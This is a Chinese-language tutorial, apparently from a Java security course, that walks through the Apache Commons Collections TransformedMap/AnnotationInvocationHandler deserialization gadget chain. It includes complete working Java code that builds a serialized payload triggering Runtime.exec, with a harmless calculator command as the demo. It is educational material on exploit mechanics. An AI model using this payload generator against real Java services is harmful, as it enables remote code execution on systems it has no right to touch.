Apache Commons Collections反序列化漏洞

Apache CommonsApache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。本节将逐步详解Collections反序列化攻击链(仅以TransformedMap调用链为示例)最终实现反序列化RCE

InvokerTransformer

Collections中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer,这个类实现了:java.io.Serializable接口。2015年有研究者发现利用InvokerTransformer类的transform方法可以实现Java反序列化RCE,并提供了利用方法:CommonsCollections1.java

InvokerTransformer类实现了org.apache.commons.collections.Transformer接口,Transformer提供了一个对象转换方法:transform,主要用于将输入对象转换为输出对象。InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。

InvokerTransformer类的transform方法:

  1. public Object transform(Object input) {
  2. if (input == null) {
  3. return null;
  4. }
  5. try {
  6. // 获取输入类的类对象
  7. Class cls = input.getClass();
  8. // 通过输入的方法名和方法参数,获取指定的反射方法对象
  9. Method method = cls.getMethod(iMethodName, iParamTypes);
  10. // 反射调用指定的方法并返回方法调用结果
  11. return method.invoke(input, iArgs);
  12. } catch (Exception ex) {
  13. // 省去异常处理部分代码
  14. }
  15. }

使用InvokerTransformer实现调用本地命令执行方法:

  1. public static void main(String[] args) {
  2. // 定义需要执行的本地系统命令
  3. String cmd = "open -a Calculator.app";
  4. // 构建transformer对象
  5. InvokerTransformer transformer = new InvokerTransformer(
  6. "exec", new Class[]{String.class}, new Object[]{cmd}
  7. );
  8. // 传入Runtime实例,执行对象转换操作
  9. transformer.transform(Runtime.getRuntime());
  10. }

上述实例演示了通过InvokerTransformer的反射机制来调用java.lang.Runtime来实现命令执行,但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的。

ChainedTransformer

org.apache.commons.collections.functors.ChainedTransformer类实现了Transformer链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformertransform方法。

ChainedTransformer.java:

  1. public class ChainedTransformer implements Transformer, Serializable {
  2. /** The transformers to call in turn */
  3. private final Transformer[] iTransformers;
  4. // 省去多余的方法和变量
  5. public ChainedTransformer(Transformer[] transformers) {
  6. super();
  7. iTransformers = transformers;
  8. }
  9. public Object transform(Object object) {
  10. for (int i = 0; i < iTransformers.length; i++) {
  11. object = iTransformers[i].transform(object);
  12. }
  13. return object;
  14. }
  15. }

使用ChainedTransformer实现调用本地命令执行方法:

  1. public static void main(String[] args) {
  2. // 定义需要执行的本地系统命令
  3. String cmd = "open -a Calculator.app";
  4. Transformer[] transformers = new Transformer[]{
  5. new ConstantTransformer(Runtime.class),
  6. new InvokerTransformer("getMethod", new Class[]{
  7. String.class, Class[].class}, new Object[]{
  8. "getRuntime", new Class[0]}
  9. ),
  10. new InvokerTransformer("invoke", new Class[]{
  11. Object.class, Object[].class}, new Object[]{
  12. null, new Object[0]}
  13. ),
  14. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
  15. };
  16. // 创建ChainedTransformer调用链对象
  17. Transformer transformedChain = new ChainedTransformer(transformers);
  18. // 执行对象转换操作
  19. transformedChain.transform(null);
  20. }

通过构建ChainedTransformer调用链我们最终会使用InvokerTransformer来完成反射调用Runtime.getRuntime().exec(cmd)的逻辑。

利用InvokerTransformer执行本地命令

上面两个Demo为我们演示了如何使用InvokerTransformer执行本地命令,现在我们也就还只剩下两个问题:

  1. 如何传入调用链。
  2. 如何调用transform方法执行本地命令。

现在我们已经使用InvokerTransformer创建了一个含有恶意调用链的Transformer类的Map对象,紧接着我们应该思考如何才能够将调用链窜起来并执行。

org.apache.commons.collections.map.TransformedMap类间接的实现了java.util.Map接口,同时支持对Mapkey或者value进行Transformer转换,调用decoratedecorateTransform方法就可以创建一个TransformedMap:

  1. public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  2. return new TransformedMap(map, keyTransformer, valueTransformer);
  3. }
  4. public static Map decorateTransform(Map map, Transformer keyTransformer, Transformer valueTransformer) {
  5. // 省去实现代码
  6. }

只要调用TransformedMapsetValue/put/putAll中的任意方法都会调用InvokerTransformer类的transform方法,从而也就会触发命令执行。

使用TransformedMap类的setValue触发transform示例:

  1. public static void main(String[] args) {
  2. String cmd = "open -a Calculator.app";
  3. // 此处省去创建transformers过程,参考上面的demo
  4. // 创建ChainedTransformer调用链对象
  5. Transformer transformedChain = new ChainedTransformer(transformers);
  6. // 创建Map对象
  7. Map map = new HashMap();
  8. map.put("value", "value");
  9. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
  10. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
  11. // transformedMap.put("v1", "v2");// 执行put也会触发transform
  12. // 遍历Map元素,并调用setValue方法
  13. for (Object obj : transformedMap.entrySet()) {
  14. Map.Entry entry = (Map.Entry) obj;
  15. // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
  16. entry.setValue("test");
  17. }
  18. System.out.println(transformedMap);
  19. }

上述代码向我们展示了只要在Java的API中的任何一个类实现了java.io.Serializable接口,并且可以传入我们构建的TransformedMap对象还要有调用TransformedMap中的setValue/put/putAll中的任意方法一个方法的类,我们就可以在Java反序列化的时候触发InvokerTransformer类的transform方法实现RCE

AnnotationInvocationHandler

sun.reflect.annotation.AnnotationInvocationHandler类实现了java.lang.reflect.InvocationHandler(Java动态代理)接口和java.io.Serializable接口,它还重写了readObject方法,在readObject方法中还间接的调用了TransformedMapMapEntrysetValue方法,从而也就触发了transform方法,完成了整个攻击链的调用。

AnnotationInvocationHandler代码片段:

  1. package sun.reflect.annotation;
  2. class AnnotationInvocationHandler implements InvocationHandler, Serializable {
  3. AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
  4. // 省去代码部分
  5. }
  6. // Java动态代理的invoke方法
  7. public Object invoke(Object var1, Method var2, Object[] var3) {
  8. // 省去代码部分
  9. }
  10. private void readObject(ObjectInputStream var1) {
  11. // 省去代码部分
  12. }
  13. }

readObject方法:

image-20191220181251898

上图中的第352行中的memberValuesAnnotationInvocationHandler的成员变量,memberValues的值是在var1.defaultReadObject();时反序列化生成的,它也就是我们在创建AnnotationInvocationHandler时传入的带有恶意攻击链的TransformedMap。需要注意的是如果我们想要进入到var5.setValue这个逻辑那么我们的序列化的map中的key必须包含创建AnnotationInvocationHandler时传入的注解的方法名。

既然利用AnnotationInvocationHandler类我们可以实现反序列化RCE,那么在序列化AnnotationInvocationHandler对象的时候传入我们精心构建的包含了恶意攻击链的TransformedMap对象的序列化字节数组给远程服务,对方在反序列化AnnotationInvocationHandler类的时候就会触发整个恶意的攻击链,从而也就实现了远程命令执行了。

创建AnnotationInvocationHandler对象:

因为sun.reflect.annotation.AnnotationInvocationHandler是一个内部API专用的类,在外部我们无法通过类名创建出AnnotationInvocationHandler类实例,所以我们需要通过反射的方式创建出AnnotationInvocationHandler对象:

  1. // 创建Map对象
  2. Map map = new HashMap();
  3. // map的key名称必须对应创建AnnotationInvocationHandler时使用的注解方法名,比如创建
  4. // AnnotationInvocationHandler时传入的注解是java.lang.annotation.Target,那么map
  5. // 的key必须是@Target注解中的方法名,即:value,否则在反序列化AnnotationInvocationHandler
  6. // 类调用其自身实现的readObject方法时无法通过if判断也就无法通过调用到setValue方法了。
  7. map.put("value", "value");
  8. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
  9. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
  10. // 获取AnnotationInvocationHandler类对象
  11. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  12. // 获取AnnotationInvocationHandler类的构造方法
  13. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  14. // 设置构造方法的访问权限
  15. constructor.setAccessible(true);
  16. // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
  17. // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
  18. Object instance = constructor.newInstance(Target.class, transformedMap);

instance对象就是我们最终用于序列化的AnnotationInvocationHandler对象,我们只需要将这个instance序列化后就可以得到用于攻击的payload了。

完整的攻击示例Demo:

  1. package com.anbai.sec.serializes;
  2. import org.apache.commons.collections.Transformer;
  3. import org.apache.commons.collections.functors.ChainedTransformer;
  4. import org.apache.commons.collections.functors.ConstantTransformer;
  5. import org.apache.commons.collections.functors.InvokerTransformer;
  6. import org.apache.commons.collections.map.TransformedMap;
  7. import java.io.ByteArrayInputStream;
  8. import java.io.ByteArrayOutputStream;
  9. import java.io.ObjectInputStream;
  10. import java.io.ObjectOutputStream;
  11. import java.lang.annotation.Target;
  12. import java.lang.reflect.Constructor;
  13. import java.util.Arrays;
  14. import java.util.HashMap;
  15. import java.util.Map;
  16. /**
  17. * Creator: yz
  18. * Date: 2019/12/16
  19. */
  20. public class CommonsCollectionsTest {
  21. public static void main(String[] args) {
  22. String cmd = "open -a Calculator.app";
  23. Transformer[] transformers = new Transformer[]{
  24. new ConstantTransformer(Runtime.class),
  25. new InvokerTransformer("getMethod", new Class[]{
  26. String.class, Class[].class}, new Object[]{
  27. "getRuntime", new Class[0]}
  28. ),
  29. new InvokerTransformer("invoke", new Class[]{
  30. Object.class, Object[].class}, new Object[]{
  31. null, new Object[0]}
  32. ),
  33. new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd})
  34. };
  35. // 创建ChainedTransformer调用链对象
  36. Transformer transformedChain = new ChainedTransformer(transformers);
  37. // 创建Map对象
  38. Map map = new HashMap();
  39. map.put("value", "value");
  40. // 使用TransformedMap创建一个含有恶意调用链的Transformer类的Map对象
  41. Map transformedMap = TransformedMap.decorate(map, null, transformedChain);
  42. // // 遍历Map元素,并调用setValue方法
  43. // for (Object obj : transformedMap.entrySet()) {
  44. // Map.Entry entry = (Map.Entry) obj;
  45. //
  46. // // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链
  47. // entry.setValue("test");
  48. // }
  49. //
  50. //// transformedMap.put("v1", "v2");// 执行put也会触发transform
  51. try {
  52. // 获取AnnotationInvocationHandler类对象
  53. Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
  54. // 获取AnnotationInvocationHandler类的构造方法
  55. Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
  56. // 设置构造方法的访问权限
  57. constructor.setAccessible(true);
  58. // 创建含有恶意攻击链(transformedMap)的AnnotationInvocationHandler类实例,等价于:
  59. // Object instance = new AnnotationInvocationHandler(Target.class, transformedMap);
  60. Object instance = constructor.newInstance(Target.class, transformedMap);
  61. // 创建用于存储payload的二进制输出流对象
  62. ByteArrayOutputStream baos = new ByteArrayOutputStream();
  63. // 创建Java对象序列化输出流对象
  64. ObjectOutputStream out = new ObjectOutputStream(baos);
  65. // 序列化AnnotationInvocationHandler类
  66. out.writeObject(instance);
  67. out.flush();
  68. out.close();
  69. // 获取序列化的二进制数组
  70. byte[] bytes = baos.toByteArray();
  71. // 输出序列化的二进制数组
  72. System.out.println("Payload攻击字节数组:" + Arrays.toString(bytes));
  73. // 利用AnnotationInvocationHandler类生成的二进制数组创建二进制输入流对象用于反序列化操作
  74. ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
  75. // 通过反序列化输入流(bais),创建Java对象输入流(ObjectInputStream)对象
  76. ObjectInputStream in = new ObjectInputStream(bais);
  77. // 模拟远程的反序列化过程
  78. in.readObject();
  79. // 关闭ObjectInputStream输入流
  80. in.close();
  81. } catch (Exception e) {
  82. e.printStackTrace();
  83. }
  84. }
  85. }

反序列化RCE调用链如下:

  1. ObjectInputStream.readObject()
  2. ->AnnotationInvocationHandler.readObject()
  3. ->TransformedMap.entrySet().iterator().next().setValue()
  4. ->TransformedMap.checkSetValue()
  5. ->TransformedMap.transform()
  6. ->ChainedTransformer.transform()
  7. ->ConstantTransformer.transform()
  8. ->InvokerTransformer.transform()
  9. ->Method.invoke()
  10. ->Class.getMethod()
  11. ->InvokerTransformer.transform()
  12. ->Method.invoke()
  13. ->Runtime.getRuntime()
  14. ->InvokerTransformer.transform()
  15. ->Method.invoke()
  16. ->Runtime.exec()

Apache Commons Collections漏洞利用方式也不仅仅只有本节所讲解的利用AnnotationInvocationHandler触发TransformedMap构建调用链的这一种方式,ysoserial还提供了多种基于InstantiateTransformer/InvokerTransformer构建调用链方式:LazyMapPriorityQueueBadAttributeValueExpExceptionHashSetHashtable